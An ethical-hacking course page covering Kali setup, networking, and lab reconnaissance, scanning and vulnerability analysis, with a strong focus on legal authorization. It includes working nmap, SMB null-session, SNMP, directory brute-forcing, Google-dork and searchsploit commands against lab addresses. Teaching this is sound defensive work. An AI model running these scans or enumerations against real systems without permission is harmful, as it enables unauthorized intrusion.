🐉

Kali Linux &
Ethical Hacking

The defender's path: master Linux, understand attacks deeply enough to prevent them, and build a legal, employable security skill base.

12Modules
~14Weeks
100%Legal Labs
$0Cost
⚖️ Ethics First: Everything here is taught for defensive, authorized testing only. Scanning or attacking systems without explicit written permission is illegal almost everywhere (IT Act 2000 §43/66, CFAA, Computer Misuse Act). We practice only on your own VMs and licensed lab platforms.

Why Security Skills Matter

  • Cybersecurity gap — millions of unfilled roles globally, year after year
  • Kali = industry standard — 600+ preinstalled tools used by real pentesters
  • Linux fluency is the unlock — servers, cloud and security all run on it
  • Defender mindset — you can't protect what you don't understand
  • Cert ladder clarity — eJPT → Security+ → OSCP path mapped inside

📦 Lab Setup (all free)

  • VirtualBox or VMware Player (free)
  • Kali Linux ISO from kali.org
  • Metasploitable 2 / OWASP DVWA target VMs
  • Optional: TryHackMe / HackTheBox accounts
  • Minimum specs: 8GB RAM recommended (4GB workable)
Full Curriculum

The 12-Module Roadmap

00Ethics, Law & Mindset▾

🎯 Module goal: Burn in the one rule that separates a security career from a criminal record — never touch systems you don't own or have written permission to test — and adopt the professional vocabulary (scope, Rules of Engagement, responsible disclosure) that every real engagement runs on.

0.1 White hat vs black hat vs grey hat — where you stand

The industry sorts hackers into three camps using exactly one criterion: authorization. Black hats break into machines they were never invited to — for profit, revenge or ego. That's a crime essentially everywhere on Earth. White hats run the same technical playbook, but only against targets they're contracted to test, and every finding flows back to the owner so it gets fixed. Identical tools, identical knowledge — permission is the entire difference.

Grey hats are the seductive middle ground: people who poke systems without asking but "mean well" and email the victim afterward. Here's the truth to internalize on day one: good intent does not create legality. Unauthorized access is illegal regardless of what you do afterward, and "I was helping" has never once held up in court. In this course you train as a white hat — every technique is practiced exclusively against machines sitting on your own desk.

0.2 Authorization, scope documents and Rules of Engagement

Professional penetration testing begins with paperwork, not packets. Before anyone runs a single scan, the client signs an engagement letter defining the scope: the exact IP ranges, hostnames and applications you may test, the testing window, and who to call if something breaks. The Rules of Engagement (RoE) go deeper — which attack classes are permitted (no DDoS? no phishing of staff? no downloading production data?), how evidence gets stored, and the escalation path when you find something catastrophic at 2 AM. Anything outside that document is untouchable, even if it looks juicy mid-test.

Your lab gives you a miniature version of the same discipline. Your scope is the host-only network connecting Kali to Metasploitable2 and DVWA. Everything else — your router, your phone, any website on the internet — is permanently out of scope for this course. Treat that line as load-bearing: the habits you build here are the ones you'll carry into paid work.

0.3 Key laws overview: IT Act 2000, CFAA, GDPR implications

You don't need law school, but you do need to recognize the statutes that get hackers prosecuted. Four names cover most of the planet's enforcement:

LawJurisdictionCore ideaWhy you care
IT Act 2000 (§43, §66)IndiaCivil penalties and criminal charges for unauthorized access, data theft and damageFines plus imprisonment; cited in nearly every Indian hacking case
CFAAUnited StatesCriminalizes "unauthorized access" and "exceeding authorized access"Felony charges; the statute behind most US hacker prosecutions
Computer Misuse Act 1990United KingdomUnauthorised access, further offences, impairing systemsEven attempted access counts as an offence
GDPREU / extraterritorialOrganizations must protect personal dataData exposed during sloppy testing triggers massive client fines — handle anything you glimpse with extreme care

This isn't legal advice — laws vary by country and change over time. The practical takeaway is universal: written permission before action, always.

0.4 Responsible disclosure — how real hackers report bugs

Someday you'll stumble onto a genuine flaw in software you legitimately use. The professional move is a four-step dance. First, stop expanding access — demonstrate the bug minimally, never pivot deeper, never download real user data. Second, report privately: look for a security.txt file on the domain, a published Vulnerability Disclosure Program, or platforms like HackerOne and Bugcrowd that broker reports legally. Third, give the vendor time — 90 days is the industry norm — before any public detail. Fourth, coordinate disclosure: many vendors credit reporters and issue CVE identifiers, which look outstanding in a job application. Researchers who follow this path build reputations; researchers who drop exploits on social media first build case files.

0.5 Career ethics: certifications that require conduct agreements

The credentials this roadmap targets aren't just exams — they're contracts. OSCP candidates sign agreements promising to test only authorized targets; CEH requires eligibility attestation; employers hiring for sensitive positions run background checks precisely to screen for past unauthorized access. A single conviction can quietly disqualify you from entire career lanes — government, finance and healthcare security all demand demonstrably trustworthy operators. The flip side is encouraging: the white-hat community rewards clean records with CTF rankings, published research, conference talks and referrals. Every boundary you respect in this course — every "it's just one scan, nobody will notice" impulse you override — is career insurance compounding silently.

⚠️ Common mistake / legal note: "It was down anyway", "I only looked, didn't change anything", "they left it vulnerable so it's fair game" — none of these are defenses anywhere. Access itself is the offence. If it isn't yours and isn't in your signed scope, don't touch it.
💡 Pro tip: Draft your personal RoE template tonight: scope (your 192.168.56.x lab), allowed techniques, forbidden actions (anything touching the internet), evidence storage folder, and stop conditions. Re-read it before every lab session until the reflex is automatic.
Practice: Write a one-page personal "rules of engagement" document you'll follow for this entire course. Include: your lab scope (Kali + Metasploitable IPs), five explicit stop-rules (e.g., "no scanning any device outside my 192.168.56.x lab subnet"), where evidence lives, and what you'd do if you accidentally probed something out of scope. Sign it and date it — future-you in a job interview will cite it.
01Linux Fundamentals▾

🎯 Module goal: Achieve genuine terminal fluency — navigate, inspect, permission and process-hunt on Linux without touching the GUI — because every security tool in this course assumes you already speak this language.

1.1 Filesystem hierarchy: /etc /var /home /opt /usr explained

Linux mounts everything under one root, /, and every directory has a conventional job. Security work means knowing those jobs cold: the moment you land a shell, you head straight for logs and configs to understand the box you're standing on.

DirectoryPurposeSecurity relevance
/etcSystem-wide configurationPassword/shadow files, service configs, sudoers policy
/varVariable data — logs, mail, spool/var/log/auth.log tells the whole intrusion story
/homePer-user directoriesUser data, bash history, SSH keys live here
/optThird-party/add-on softwareCustom agents and tools often hide here
/usr · /bin · /sbinBinaries and librariesIntegrity monitoring watches this tree for tampering
/tmpWorld-writable scratch spaceClassic staging area for dropped files — monitor it

1.2 Essential commands: ls cd cp mv rm mkdir find grep

Ninety percent of shell life is eight commands. Learn them by doing, not memorizing:

pwd                  # where am I?
ls -lah              # list, human sizes, hidden files
cd /var/log          # move around ('cd -' jumps back)
mkdir recon-notes    # create a directory
cp file.bak file     # copy   |   mv renames or moves
rm -i old.txt        # remove WITH confirmation — build the habit
find / -name "*.conf" 2>/dev/null       # hunt files system-wide
grep -ri "password" /etc 2>/dev/null    # hunt strings in configs

find and grep deserve extra hours — they're the backbone of both pentest enumeration and incident-response searching.

1.3 Permissions model: rwx, users/groups, chmod chown, sudoers

Linux asks three questions about every file: who may read, write, execute (rwx) — for owner, group, and others. Decode a listing like -rwxr-x---: owner does everything, group reads and executes, everyone else nothing. Change modes numerically (read=4, write=2, execute=1), change ownership with chown.

chmod 750 script.sh          # rwx for owner, r-x group, nothing else
chown saif:team report.txt   # owner and group
ls -l /usr/bin/passwd        # spot the SUID bit: -rwsr-xr-x
chmod 600 ~/.ssh/id_ed25519  # private keys MUST be owner-only
sudo visudo                  # edit sudoers SAFELY (syntax-checked)

Why obsess? Because privilege escalation (Module 11) is mostly finding where admins got this wrong — a stray SUID binary, a world-writable script, a lazy NOPASSWD sudoers line. Permissions fluency is attack-surface literacy.

1.4 Processes: ps top kill, signals, background jobs

Everything running is a process with a PID. Establish what "normal" looks like on your machine and anomalies pop out instantly:

ps aux                # snapshot every process
ps aux | grep -i ssh  # filter the noise
top                   # live view (q quits)
kill -15 4821         # SIGTERM — polite termination request
kill -9 4821          # SIGKILL — forced, last resort only
sleep 300 &           # background job; 'jobs', 'fg', 'bg' manage it

Malware hides in plain sight as oddly-named processes launched from strange directories. The defender habit: know your baseline so that /tmp/.cache/kworker2 screams at you.

1.5 Pipes & redirection: |, >, >>, tee, xargs — the Unix superpower

Tiny programs chained together beat monolithic tools. The vertical bar pipes output into the next command; > writes to a file; >> appends; tee writes to screen AND file (perfect for scan logs); xargs turns text lists into command arguments.

history | sort | uniq -c | sort -rn | head     # your top habits
cat urls.txt | tee urls-copy.txt | wc -l
find . -name "*.log" | xargs grep -l "Failed password"

This chaining is why pentesters adore Linux: nmap -p- 192.168.56.101 | tee fullscan.txt produces a permanent report artifact automatically.

1.6 Nano/vim survival skills; bash aliases; man pages habit

You won't always have a GUI editor. Nano: write with Ctrl+O, exit with Ctrl+X — done. Vim minimum survival: i inserts, Esc then :wq saves, :q! abandons. Add aliases for anything typed twice: alias ll='ls -lah' in ~/.bashrc. Above all, build the man page habit: man nmap, man chmod, and man -k keyword (search all descriptions) turn confusion into answers in seconds. Professionals read documentation — that's the actual gap between beginners and seniors.

1.7 Package management: apt update/upgrade/install/search

Kali is Debian-based, so apt is your software store and update channel:

sudo apt update               # refresh the package index
sudo apt full-upgrade         # apply pending updates
apt search dirsearch          # find packages by keyword
sudo apt install dirsearch    # install
apt show gobuster             # read details BEFORE installing

Run update before installing anything, and prefer official repos over random install scripts — supply-chain attacks love the "curl | sudo bash" shortcut.

⚠️ Common mistake / legal note: rm -rf with one typo has destroyed careers' worth of work in a single keystroke. Never run recursive deletes as root without triple-checking the path, and never paste commands from the internet without understanding every flag first.
💡 Pro tip: Add alias update='sudo apt update && sudo apt full-upgrade' to your shell config, and preview each new tool's flags in its man page before running — the muscle memory you build now pays off during timed certification exams.
Practice: Terminal-only challenge: find every file larger than 10MB modified in the last 7 days, sorted by size (largest first), saving results to ~/bigfiles.txt. Hints: combine find / -type f -size +10M -mtime -7 -printf "%s %p\n" with sort -rn and redirection. No GUI allowed — that's the entire game.
02Networking Essentials▾

🎯 Module goal: Read network traffic the way attackers and defenders both do — understand how packets travel, which ports expose which services, and prove it by capturing your own lab traffic in Wireshark.

2.1 TCP/IP stack vs OSI; what actually matters in practice

OSI's seven layers are the classroom model; TCP/IP's four layers are what actually runs: Link, Internet, Transport, Application. Practical mapping worth memorizing: MAC addresses matter at Layer 2 (same subnet only), IPs route across networks at Layer 3, TCP/UDP ports deliver to specific services at Layer 4, and application protocols (HTTP, SMB, DNS) carry the payload at Layer 7. When a colleague says "layer-2 attack" or "application-layer firewall", you'll know exactly which machinery they mean.

The other essential is the TCP three-way handshake: client sends SYN, server answers SYN-ACK, client confirms ACK. Every port-scan technique you'll meet in Module 5 manipulates this dance — sending SYN without finishing (half-open scan), or skipping handshakes entirely (UDP). Understand the handshake and scanning stops being magic.

2.2 IP addressing, private ranges, NAT reality at home

An IPv4 address is four octets identifying a host plus its network. RFC 1918 reserves three private ranges that never route on the public internet: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16. Your home router performs NAT (Network Address Translation): every device shares one public IP, and the router rewrites addresses on the way through. Two consequences matter to you: external scanners see your router, not your laptop — and your lab VMs on 192.168.56.x can fight each other while staying invisible to the internet. Subnet notation like /24 (256 addresses) appears everywhere in this field; internalize it now.

One forward-looking note: IPv6 coexists with IPv4 on modern networks, handing out link-local addresses (fe80::/10) to every interface by default — and security teams routinely forget to firewall it. Run ip a during lab setup and notice both address families on every interface; attackers certainly do, because forgotten IPv6 is a classic side door into "fully locked down" networks.

2.3 Common ports & services: 22/80/443/445/3389 and friends

Ports are numbered doors on a machine — 65,535 TCP plus 65,535 UDP. Attackers enumerate them to find entrances; defenders inventory them to close everything unnecessary. These come up weekly in real work:

PortServiceNotes
21 / 22 / 23FTP / SSH / TelnetTelnet and FTP are cleartext — red flags on any modern network
25SMTPMail relay; misconfigured open relays get abused for spam
53DNSSometimes tunneled for covert data exfiltration
80 / 443HTTP / HTTPSThe web front doors; 80 usually redirects to 443
139 / 445SMBWindows file sharing; historic worm territory (WannaCry)
3306 / 5432MySQL / PostgreSQLDatabases should never face the internet directly
3389RDPRemote desktop — prime brute-force target; demand VPN access
8080Alternate HTTPProxies, dev servers, admin panels

2.4 DNS resolution flow; dig/nslookup

Type a name, and a resolver walks the hierarchy: root servers point to the TLD (.com), the TLD points to the domain's authoritative nameserver, which returns the record — with caching smoothing everything along the way. You'll query DNS constantly during recon because records quietly leak infrastructure:

dig example.com                 # A record (IPv4 address)
dig example.com MX              # mail servers reveal email providers
dig example.com NS              # who hosts DNS? cloudflare? aws?
dig -x 192.168.56.101           # reverse lookup on a LAB ip
nslookup example.com            # quick cross-check tool

Defenders watch DNS too — unusual TXT queries or machine-like lookup patterns are a known covert exfiltration channel.

2.5 tcpdump + Wireshark: reading real traffic, following streams

Packet captures turn theory into evidence. tcpdump is the fast CLI recorder; Wireshark is the microscope. Capture on interfaces you own only:

sudo tcpdump -i eth0 port 80 -w dvwa-login.pcap    # capture HTTP
sudo tcpdump -i eth0 icmp                          # watch pings live

In Wireshark, use display filters like http.request or ip.addr == 192.168.56.101, then right-click any packet → Follow → TCP Stream to reconstruct an entire conversation — plaintext passwords included. That moment, watching your own DVWA login appear naked in a capture, teaches the value of HTTPS better than any lecture ever could.

2.6 netstat/ss; curl as universal network Swiss army knife

Two everyday utilities finish the toolkit. ss (modern replacement for netstat) shows what your own machine is listening on — the single most valuable defensive inventory there is:

ss -tulpn                        # listening sockets + owning process
ss -tn state established         # who am I connected to right now?

curl speaks HTTP (and much more) from the terminal — fetch pages, inspect headers, replay requests while learning web attacks in Module 9:

curl -I http://192.168.56.101         # headers only (server version leaks!)
curl -v http://192.168.56.101/dvwa    # verbose: request/response anatomy
⚠️ Common mistake / legal note: Capturing traffic on networks you don't administer — café WiFi, your workplace, a roommate's devices — is interception, and it's illegal. Sniff only interfaces you own: your lab, or your home network with permission.
💡 Pro tip: Memorize one Wireshark filter combo forever: http.request.method == "POST". Ninety percent of beginner web-security insight lives inside POST bodies.
Practice: Start Wireshark capturing on your lab interface, log into DVWA at http://192.168.56.102/dvwa, stop the capture, filter for the POST request, and follow the TCP stream. Screenshot the visible credentials and write three sentences explaining why TLS/HTTPS would have made this capture useless to an attacker.
03Kali Setup & Terminal Mastery▾

🎯 Module goal: Build a safe, isolated, snapshotted Kali lab and adopt the terminal workflow professionals use — so for the rest of this course, breaking things costs nothing and recovery takes ten seconds.

3.1 VM creation: CPU/RAM/disk sizing, snapshots (your undo button!)

In VirtualBox, create a Kali VM with 2 CPUs, 4GB RAM (2GB works if you're tight) and a 30GB dynamically-allocated disk. But the real superpower isn't the specs — it's snapshots: frozen, restorable copies of the entire machine state. Take one named "clean" right after installation, and another before every risky operation. Botched an update? Corrupted a config? Restore and you're back in seconds instead of reinstalling for an hour.

VBoxManage snapshot "Kali" take clean-baseline
VBoxManage snapshot "Kali" restore clean-baseline    # instant undo
VBoxManage snapshot "Metasploitable2" take pristine

Snapshots also enable honest practice: you can attempt something destructive, observe the fallout, learn from it, and revert. Mistakes stop being disasters and become lessons with a rewind button.

3.2 Host-only/NAT networking for safe lab isolation

VirtualBox networking modes decide who your VM can reach. NAT lets the VM out to the internet (for updates) while blocking inbound connections. Host-only creates a private switch shared only by your VMs and your host — perfect for attack-vs-target traffic. Bridged places the VM directly on your physical LAN; treat it as dangerous and avoid it in this course, because a bridged attack VM can touch every device on your home network.

The professional layout gives Kali two adapters: NAT for downloads, host-only (192.168.56.x) for lab combat. Then verify isolation honestly: from Kali, ping your lab target (should work) and your router's LAN IP (should fail). That verified boundary is what makes every later module legal by construction.

3.3 Kali layout; tool categories overview

Kali ships hundreds of tools organized into menu categories: Information Gathering, Vulnerability Analysis, Web Application Analysis, Database Assessment, Password Attacks, Exploitation Tools, Sniffing & Spoofing, Post-Exploitation, Forensics and Reporting. Two locations matter more than menus: most tools install under /usr/share/, each with its own docs and data files — e.g., the wordlists at /usr/share/wordlists/dirb/common.txt you'll use in Module 5. The kali-tweaks utility adds or removes whole metapackages. Resist installing everything; a lean Kali you understand beats a bloated one you don't.

Importing your targets is usually easier than building them. For Metasploitable2, download the official archive and use VirtualBox's "Add" button on the included .vbox file rather than creating a VM from scratch — its defaults are already sane for a deliberately fragile box. DVWA runs happily in a small Debian/Ubuntu VM with a LAMP stack (the DVWA GitHub README walks through it), or as part of ready-made vulnerable appliance images. One role per host keeps snapshots meaningful and kill-chains reproducible — and never run any of them anywhere except your isolated lab segment.

3.4 tmux: sessions, panes, logging — pro workflow

tmux multiplexes one terminal into many persistent panes. Long scans keep running even if your connection drops; you detach and reattach anytime:

tmux new -s lab            # new session named 'lab'
Ctrl+b %                   # split pane vertically
Ctrl+b "                   # split pane horizontally
Ctrl+b arrow-keys          # move between panes
Ctrl+b d                   # detach — session keeps running
tmux attach -t lab         # return anytime
tmux pipe-pane -o 'cat >> ~/lab-log.txt'   # log everything in this pane

That logging line matters more than it looks: during assessments you're required to retain evidence of what you ran and observed. Building the habit now makes Module 12's report writing nearly painless.

3.5 Shell productivity: history search, tab completion, Ctrl+R

Speed compounds over hundreds of commands. Press Ctrl+R and type any fragment to search history interactively — press again to cycle older matches. Tab completes commands, paths and options (Kali's default Zsh is generous here). Other multipliers worth adopting today: !! reruns the last command (the classic being sudo !!), cd - jumps back to the previous directory, and aliases like alias ll='ls -lah' live in ~/.zshrc. Ten minutes configuring your shell saves hours across a course this size.

3.6 Updating safely; when NOT to dist-upgrade mid-project

Update early and often — but deliberately:

sudo apt update && sudo apt full-upgrade -y

Snapshot first whenever updates will touch core tooling — occasional breakage is part of rolling-release life, and restoring beats debugging. Equally important is developing the judgment to NOT update mid-engagement: changing tool versions halfway through a lab introduces variables you don't need. Finish the task on the version you started with; update afterward; note any behavior changes. Stability during execution, freshness during study — that's the professional rhythm.

⚠️ Common mistake / legal note: Never leave Kali on its default credentials (kali/kali), never bridge it onto networks you don't own, and never expose deliberately-vulnerable target VMs (Metasploitable2 is wide open BY DESIGN!) to your real LAN or the internet. Your lab must never become someone else's stepping stone.
💡 Pro tip: Adopt the naming convention clean-YYYY-MM-DD for baselines plus descriptive tags like before-msf-lab. Six months from now, "snapshot 3" will mean nothing to you — dated, labeled names always will.
Practice: Build the full arena: import Metasploitable2 and DVWA, attach all VMs to the host-only network, verify from Kali that both targets respond (ping 192.168.56.101 and .102) while your router does not. Then snapshot all three machines as "clean" baselines — and prove restores work by breaking something trivial and reverting it.
04Reconnaissance▾

🎯 Module goal: Gather intelligence the way professionals do — passive sources first, active probing only inside your own authorized lab — and build the documentation discipline that separates pentesters from tourists.

4.1 Passive OSINT mindset: certificate transparency, DNS history

Passive reconnaissance means learning about a target without a single packet touching its servers — everything comes from third-party archives. The richest source is certificate transparency: every TLS certificate ever issued for a domain is logged publicly at crt.sh, and forgotten subdomains (often stale, often unpatched) surface there. DNS history services reveal previous hosting providers, long-gone mail servers and acquisitions. Job boards leak tech stacks ("we run Angular, Spring, AWS"), conference talks leak architecture, breach databases leak email naming conventions. The mindset shift: before touching anything, ask what the internet already knows — because attackers absolutely will ask too.

4.2 theHarvester, whois, dig walkthroughs against lab domains

Three classics automate the gathering. Run them against domains intended for harmless study — example.com exists precisely for this:

whois example.com                # registrant org, name servers, dates
dig example.com ANY +noall +answer
theHarvester -d example.com -b duckduckgo -l 50   # emails, hosts, subdomains

whois reveals registration age and registrar (a week-old registration deserves suspicion when you're analyzing phishing later); dig enumerates infrastructure records; theHarvester aggregates search-engine data into email/host lists that map an organization's footprint. Notice what these tools share: they query third parties, never the target itself. That's what keeps passive recon lawful almost everywhere.

4.3 Google dorking syntax (ethically demonstrated)

Search engines index far more than site owners intend: exposed directories, backup files, login portals. Dork operators sharpen queries into scalpels:

site:example.com                       # restrict to one domain
site:example.com filetype:xlsx         # find spreadsheets
intitle:"index of" site:example.com    # open directory listings
inurl:admin site:example.com           # admin-ish paths

Ethics in practice: demonstrate these against your own sites, against example.com, or purely as syntax study — actually browsing into a stranger's exposed files without permission is access without authorization, full stop. Defensively, dorks are gold: running them against your own organization quarterly catches accidental exposures before strangers do. Google's own abuse-alert systems are built on exactly this idea.

4.4 Active recon: ping sweeps, ARP discovery on YOUR lab net

Active recon sends packets, so it demands authorization — which in this course means your isolated host-only segment only. Discovery asks "who exists?" before any port scanning begins. ARP discovery works at Layer 2 within the subnet — fast and reliable locally:

sudo arp-scan --interface=eth1 --localnet
sudo netdiscover -r 192.168.56.0/24
nmap -sn 192.168.56.0/24

A plain ping sweep complements these. On your two-VM lab you should reliably discover Metasploitable2 (.101) and DVWA (.102). If you find MORE hosts than you created, stop and investigate your networking setup before proceeding — discovering unknown devices is exactly the skill, and exactly the warning sign.

4.5 nmap host discovery: -sn, -Pn logic

-sn performs discovery only — pings (ICMP echo, TCP SYN to 443, TCP ACK to 80, ARP locally) without port scanning — ideal for quickly mapping live hosts. -Pn does the opposite: it skips discovery entirely, treats every host as alive, and port-scans regardless. Why both exist? Firewalls commonly drop ping probes, making well-protected hosts appear dead when they're very much alive. Modern practice pairs them: -sn first for the quick map, then -Pn when a host seems silent but should be running services. Reading output carefully — "Host is up" lines, MAC vendor strings like "PCS Systemtechnik/Oracle VirtualBox" — builds the situational awareness every following module depends on.

4.6 Documenting findings — recon notes discipline

Recon generates data faster than memory holds it. The professional habit: one notes file per engagement, timestamped entries, every command pasted alongside its result. A minimal working template:

# Lab recon — 2026-08-23
## Targets discovered (arp-scan 14:32)
192.168.56.101  08:00:27:xx:xx:xx  PCS Systemtechnik (VirtualBox)  Metasploitable2
192.168.56.102  08:00:27:yy:yy:yy  Oracle VirtualBox               DVWA
## Commands run
arp-scan --localnet ; nmap -sn 192.168.56.0/24
## Open questions
- .102 answered ICMP oddly — recheck after next boot

Tools help — CherryTree, Obsidian, plain markdown files — but the discipline is the point: in Module 12, your entire report gets assembled from these notes. No notes, no evidence, no report, no job.

⚠️ Common mistake / legal note: "It's just a ping sweep" is still active scanning. Ping sweeps, ARP discovery and port scans against school, corporate or ISP ranges without written permission have gotten students expelled and contractors sued. Passive-first isn't politeness — it's the law.
💡 Pro tip: Run two terminals side-by-side (or tmux panes): left executes commands, right holds the notes file — paste every command into notes BEFORE running it. A zero-effort audit trail, forever.
Practice: Map your isolated lab completely: discover both target VMs using at least two different methods (ARP-based + nmap -sn), then produce a table recording each machine's IP, MAC address, vendor string and your guess at its purpose. Save it as recon-lab.md — you'll extend this exact file in Modules 5 and 6.
05Scanning & Enumeration▾

🎯 Module goal: Transform "host is alive" into a precise inventory — which ports are open, which software versions listen there, which shares and directories they expose — the groundwork every exploit in Module 7 stands on.

5.1 nmap port scanning theory: SYN vs connect, filtered states

A port is open (a service accepts connections), closed (nothing listens but the host replies) or filtered (a firewall swallowed the probe — state unknown). The default SYN scan sends bare SYN packets: an open port answers SYN-ACK and nmap responds RST without completing the handshake — hence "half-open". Many systems never log these abandoned handshakes, which is why SYN scanning became the default. Without root privileges for raw sockets, nmap falls back to a full connect scan (-sT): completes the handshake like any normal client — reliably detected by logs, but dependable.

sudo nmap -sS 192.168.56.101       # SYN half-open scan (needs root)
nmap -sT 192.168.56.101            # connect scan — no privileges needed
sudo nmap -sU --top-ports 20 192.168.56.101   # UDP is slow; sample top 20

5.2 Service/version detection -sV; OS fingerprinting -O

Port numbers lie — move SSH to port 2222 and naive scanners still guess wrong. Version detection probes each open port, compares responses against nmap's signature database of thousands of services, and reports actual software plus versions. That version string is the single most valuable fact feeding Module 6's vulnerability analysis.

sudo nmap -sV -O 192.168.56.101
sudo nmap -sV --version-light 192.168.56.101    # fewer probes, quieter
sudo nmap -A 192.168.56.101        # sV + default scripts + OS + traceroute

OS fingerprinting (-O) reads TCP/IP stack quirks to guess Linux vs Windows — expect confidence percentages, not certainties. Note that -A is aggressive and loud: perfect in your lab, inappropriate on real engagements unless explicitly authorized.

5.3 NSE scripts: safe category usage on lab targets

The Nmap Scripting Engine ships hundreds of Lua scripts sorted into categories. The default and safe categories are designed to be non-disruptive; vuln checks for known flaws; intrusive can genuinely break services. In your lab:

nmap --script=safe -p80,445 192.168.56.101
sudo nmap --script=http-title,http-headers -p80 192.168.56.102
sudo nmap --script=smb-vuln* -p445 192.168.56.101   # checks MS17-010 etc.

That last family checks whether SMB lacks the EternalBlue patch — precisely the sweep defenders ran fleet-wide during the WannaCry crisis. Scripts are where nmap graduates from mapper to vulnerability scanner.

5.4 SMB enumeration: enum4linux, smbclient, crackmapexec basics

SMB on port 445 serves Windows file shares — and Metasploitable2 exposes a misconfigured one deliberately. "Null sessions" (unauthenticated connections) historically leaked user lists and share names:

enum4linux -a 192.168.56.101           # users, shares, groups, policy
smbclient -L //192.168.56.101/ -N      # list shares with no password
smbclient //192.168.56.101/tmp -N      # enter a share: 'ls', 'get'
crackmapexec smb 192.168.56.0/24 -u '' -p ''    # quick subnet sweep

If enum4linux returns usernames, you've witnessed exactly the information leakage defenders eliminate by disabling null sessions and auditing share permissions. Every finding here feeds Module 8's password attacks and Module 7's exploitation choices.

5.5 Web enumeration: dirsearch/gobuster directory discovery

Webservers hide directories no menu links to: backups, admin panels, forgotten phpinfo pages. Content discovery brute-forces common paths against your lab targets:

gobuster dir -u http://192.168.56.101 \
  -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
dirsearch -u http://192.168.56.102/dvwa -e php

Reading the wordlist teaches as much as running it — common.txt is a curated catalog of paths humans actually leave exposed. Also check /robots.txt manually: developers disallow sensitive paths there, inadvertently advertising them. Defensively: run these tools against your own sites quarterly to find forgotten files before strangers do.

5.6 Banner grabbing; SNMP/FTP anonymous checks

Some services announce themselves the instant you connect. Netcat is the scalpel for banner grabbing:

nc -nv 192.168.56.101 21     # vsftpd banner appears immediately
nc -nv 192.168.56.101 25     # SMTP greeting leaks version info

Two classic misconfigurations deserve explicit checks on legacy boxes. Anonymous FTP: connect with username anonymous and any password — see what lists and downloads are permitted. SNMP with its default community string public:

snmpwalk -v2c -c public 192.168.56.101 | head -50

A responsive SNMP service often dumps running processes, installed software, user accounts and network interfaces — an internal map handed to anyone who asks politely. The defensive checklist writes itself: strip or firewall banners, disable anonymous access, deploy SNMPv3 with real authentication.

⚠️ Common mistake / legal note: Aggressive options (-A, timing template -T5, intrusive NSE scripts) can crash fragile legacy services — in your lab that's a feature, and why snapshots exist. Point any of this at equipment you don't own and it stops being testing and becomes interference.
💡 Pro tip: Always save structured output: -oN scan.txt for humans, -oX scan.xml for tool chaining. Module 6's searchsploit workflow and Module 12's report both feed directly off these artifacts — rescanning from memory wastes hours.
Practice: Produce a complete enumeration report for Metasploitable2: full TCP port list, versions for every open service, share names, at least three discovered web directories, and the FTP/SNMP anonymous-access status. Organize it as tables plus notes saved beside your recon file from Module 4. Success criterion: another student could reproduce your findings from your notes alone.
06Vulnerability Analysis▾

🎯 Module goal: Turn raw enumeration facts into verified, prioritized vulnerabilities — reading CVE/CVSS data like a native, using scanners as assistants rather than oracles, and pairing every finding with the fix a defender would actually apply.

6.1 CVEs, CVSS scores — reading vulnerability data properly

A CVE (Common Vulnerabilities and Exposures) is a globally unique ID for a publicly known flaw: CVE-2011-2523 is the vsftpd backdoor you'll meet in Module 7. Format: assignment year plus sequence number. The National Vulnerability Database (nvd.nist.gov) enriches each entry with a CVSS v3.1 score — 0 to 10, computed from base metrics like Attack Vector (network vs physical), Attack Complexity, Privileges Required, User Interaction, and impact on Confidentiality/Integrity/Availability.

CVSS bandRatingTypical meaning
0.1 – 3.9LowMinor information leak; negligible real-world impact
4.0 – 6.9MediumGenuine weakness but needs specific conditions to exploit
7.0 – 8.9HighSerious compromise potential under common conditions
9.0 – 10.0CriticalUnauthenticated remote compromise — patch immediately

Build the habit of pulling the actual NVD entry: its description, affected-version ranges and reference links teach you more than any scanner's one-line summary ever will.

6.2 searchsploit workflow: finding public exploits safely

Exploit-DB archives tens of thousands of public proof-of-concept code, and Kali mirrors the whole collection offline through searchsploit:

searchsploit vsftpd 2.3.4
searchsploit -j "vsftpd 2.3.4"      # JSON output for scripting
searchsploit -m 17491               # mirror (copy) exploit #17491 locally

The professional workflow: enumerate versions first (Module 5), search second, then read the code before running it. Third-party exploits occasionally contain surprises — from hardcoded callback addresses to outright malware — and understanding what you execute is both a safety skill and a learning multiplier. Notice the loop forming: versions from Module 5 become candidate weaknesses here, confirmed in the lab in Module 7.

6.3 Nikto web scanner interpretation (and its noise)

Nikto hammers a webserver with thousands of checks: dangerous default files, outdated server banners, missing security headers, insecure cookie flags:

nikto -h http://192.168.56.101/dvwa
nikto -h http://192.168.56.102 -port 80,8080

Interpretation is the actual skill. Nikto is loud, slow, and cheerfully reports items ranging from critical ("default credentials found") to cosmetic ("missing X-Frame-Options header"). Treat every line as a hypothesis, never a verdict — Module 6.5 covers verification. Nikto's real-world role is breadth-first triage on legacy internal apps; defenders run it too, precisely because attackers will.

6.4 OpenVAS/Greenbone community scanner setup

OpenVAS (packaged as Greenbone Vulnerability Management) is the heavyweight option: a maintained feed of 150,000+ automated tests with scheduling, credentials-aware scanning and proper reporting. Install it on a dedicated Kali machine or VM — it's resource-hungry:

sudo apt install gvm -y       # large download; grab a coffee
sudo gvm-setup                # initializes DB + prints admin password
sudo gvm-start                # web UI at https://127.0.0.1:9392

Create a target pointing at 192.168.56.101, launch a "Full and fast" scan task, and be patient — the first feed sync takes a while. Compare its findings against your manual ones. Note that credentialed (authenticated) scans see far deeper than uncredentialed ones, which is exactly why enterprises maintain dedicated scan accounts.

6.5 Verifying claims manually before trusting scanners

Scanners pattern-match; reality doesn't care about patterns. The classic false positive: a banner says Apache 2.2.8, so the scanner flags twenty Apache CVEs — but the distribution backported all the patches and simply never bumped the version string. Your verification ritual: confirm the version independently (banner, --version flags, package metadata), reproduce the flaw minimally in your lab (does that vsftpd backdoor port actually open?), then document evidence for or against. Marking findings "verified" versus "scanner said so" is precisely what separates a junior report from a senior one.

6.6 Prioritizing: which findings matter for defenders?

IT teams can't patch everything at once, so ranking IS the deliverable's soul. Professional weighting order: (1) exploited-in-the-wild comes first — the CISA KEV catalog lists actively abused CVEs; (2) internet-facing before internal-only; (3) unauthenticated remote before authenticated local; (4) business impact of the affected system — a vulnerable developer toy ranks below a vulnerable payment server regardless of raw CVSS. Then practice articulating the FIX beside every finding: "patch to version X", "disable service Y", "add firewall rule Z". Findings without remediation are complaints; findings with remediation are engineering.

⚠️ Common mistake / legal note: Full vulnerability scans generate serious traffic and can crash fragile legacy services — freeze your lab targets with snapshots before scanning, and never aim OpenVAS or Nikto at anything beyond your own lab without contractual authorization in writing.
